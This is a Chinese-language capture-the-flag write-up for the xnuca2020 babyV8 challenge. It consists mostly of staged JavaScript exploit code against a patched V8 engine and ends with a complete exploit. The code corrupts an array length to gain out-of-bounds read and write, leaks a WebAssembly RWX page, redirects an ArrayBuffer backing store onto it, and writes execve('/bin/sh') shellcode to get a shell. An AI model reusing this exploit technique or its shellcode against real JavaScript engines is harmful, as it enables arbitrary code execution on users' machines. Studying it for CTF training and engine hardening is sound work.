xnuca2020-babyV8

参考文章

v8 pwn入门篇利用合集-CSDN博客

题目分析可以看参考文章,这里主要分析exp

准备函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function hexx(str, value)
{
print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}

var buf=new ArrayBuffer(0x8);
var fbuf=new Float64Array(buf);
var ibuf=new BigInt64Array(buf);

function ftoi(val)
{
fbuf[0]=val;
return ibuf[0];
}
function itof(val)
{
ibuf[0]=val;
return fbuf[0];
}

溢出

1
2
3
4
5
6
7
8
var arr=[];
arr[0]=1.1;
arr.push(1.1,1.1,1.1,1.1,1.1,1.1)
var oob=[];
oob[0]=1.1;
%DebugPrint(arr);
%DebugPrint(oob);
%SystemBreak();

image-20250903173226903

image-20250903173331541

可以溢出到0x3fa1081493d0,这个位置是oobelementslength,可以修改ooblength来使得oob实现越界读写

1
2
3
4
5
6
7
8
9
10
var arr=[];
arr[0]=1.1;
arr.push(1.1,1.1,1.1,1.1,1.1,1.1)
var oob=[];
oob[0]=1.1;
%DebugPrint(arr);
%DebugPrint(oob);
var elements_len=ftoi(arr[18]);
hexx("elements_map: ",elements_len);
%SystemBreak();

image-20250903174521553

leak_rwx

1
2
3
4
5
6
7
8
9
10
11
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

通过上述代码可以使得程序中存在一段可读可写可执行的内存,但是由于上述代码已经实现了越界读,debug的d8检测到会强制程序退出,所以需要一点技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var arr=[];
arr[0]=1.1;
arr.push(1.1,1.1,1.1,1.1,1.1,1.1)
var oob=[];
oob[0]=1.1;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var test1=[wasm_instance, 0x290098a];
%DebugPrint(arr);
%DebugPrint(oob);
%SystemBreak();

image-20250903175321798

可以看到程序中被插入了一个0x5201314,也就是0x290098a<<1,而0x5201314的前4个字节是wasm_instance的地址,可以来泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
var arr=[];
arr[0]=1.1;
arr.push(1.1,1.1,1.1,1.1,1.1,1.1)
var oob=[];
oob[0]=1.1;
%DebugPrint(arr);
%DebugPrint(oob);
var elements_len=ftoi(arr[18]);
hexx("elements_map: ",elements_len);
arr[18]=itof((elements_len&0xffffffffn)|0x100000000000n)

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var test1=[wasm_instance, 0x290098a];
var index=-1;
for(let i=0;i<2000;i++)
{
let val=ftoi(oob[i]);
val=(val&0xffffffffn)
if(val===0x5201314n)
{
index=i;
break;
}
}
if(index===-1)
{
throw "failed search wasm_instance";
}
else
{
var wasm_addr=ftoi(oob[index-1]);
hexx("index: ",index);
hexx("wasm_addr: ",(wasm_addr&0xffffffff00000000n)>>32n);
}
%SystemBreak();

image-20250903184746936

屏幕截图 2025-09-03 185136

可以看到在wasm_instance里有rwx的地址,所以接下来修改oobelementswasm_instance,然后读取rwx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var arr=[];
arr[0]=1.1;
arr.push(1.1,1.1,1.1,1.1,1.1,1.1)
var oob=[];
oob[0]=1.1;
var elements_len=ftoi(arr[18]);
hexx("elements_map: ",elements_len);
arr[18]=itof((elements_len&0xffffffffn)|0x100000000000n)

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var test1=[wasm_instance, 0x290098a];
var index=-1;
for(let i=0;i<2000;i++)
{
let val=ftoi(oob[i]);
val=(val&0xffffffffn)
if(val===0x5201314n)
{
index=i;
break;
}
}
if(index===-1)
{
throw "failed search wasm_instance";
}
else
{
var wasm_addr=ftoi(oob[index-1]);
wasm_addr=(wasm_addr&0xffffffff00000000n)>>32n
hexx("index: ",index);
hexx("wasm_addr: ",wasm_addr);
}
arr[18]=itof((wasm_addr&0xffffffffn)|0x100000000000n);
var rwx=ftoi(oob[12]);
hexx("rwx: ",rwx);
%SystemBreak();

image-20250903185948973

接着将shellcode写入rwx,和之前leak_rwx的方法差不多,不赘述了

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
function hexx(str, value)
{
print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}

var buf=new ArrayBuffer(0x8);
var fbuf=new Float64Array(buf);
var ibuf=new BigInt64Array(buf);

function ftoi(val)
{
fbuf[0]=val;
return ibuf[0];
}
function itof(val)
{
ibuf[0]=val;
return fbuf[0];
}

var arr=[];
arr[0]=1.1;
arr.push(1.1,1.1,1.1,1.1,1.1,1.1)
var oob=[];
oob[0]=1.1;

var elements_len=ftoi(arr[18]);
hexx("elements_map: ",elements_len);
arr[18]=itof((elements_len&0xffffffffn)|0x100000000000n)

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var test1=[wasm_instance, 0x290098a];
var index=-1;
for(let i=0;i<2000;i++)
{
let val=ftoi(oob[i]);
val=(val&0xffffffffn)
if(val===0x5201314n)
{
index=i;
break;
}
}
if(index===-1)
{
throw "failed search wasm_instance";
}
else
{
var wasm_addr=ftoi(oob[index-1]);
wasm_addr=(wasm_addr&0xffffffff00000000n)>>32n
hexx("index: ",index);
hexx("wasm_addr: ",wasm_addr);
}
arr[18]=itof((wasm_addr&0xffffffffn)|0x100000000000n);
var rwx=ftoi(oob[12]);
hexx("rwx: ",rwx);
arr[18]=itof((elements_len&0xffffffffn)|0x100000000000n)

var data_buf = new ArrayBuffer(0x2222);
var data_view = new DataView(data_buf);
index=-1;
for(let i=0;i<2000;i++)
{
let val=ftoi(oob[i]);
if(val===0x2222n)
{
index=i;
break;
}
}
if(index===-1)
{
throw "failed search wasm_instance";
}
else
{
let buf_addr=ftoi(oob[index+1]);
hexx("index: ",index);
hexx("buf_addr: ",buf_addr);
}

oob[index+1]=itof(rwx);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
for (let i = 0; i < shellcode.length; i++)
{
data_view.setBigUint64(i*8, shellcode[i], true);
}
pwn();

image-20250903193313395

成功getshell!!!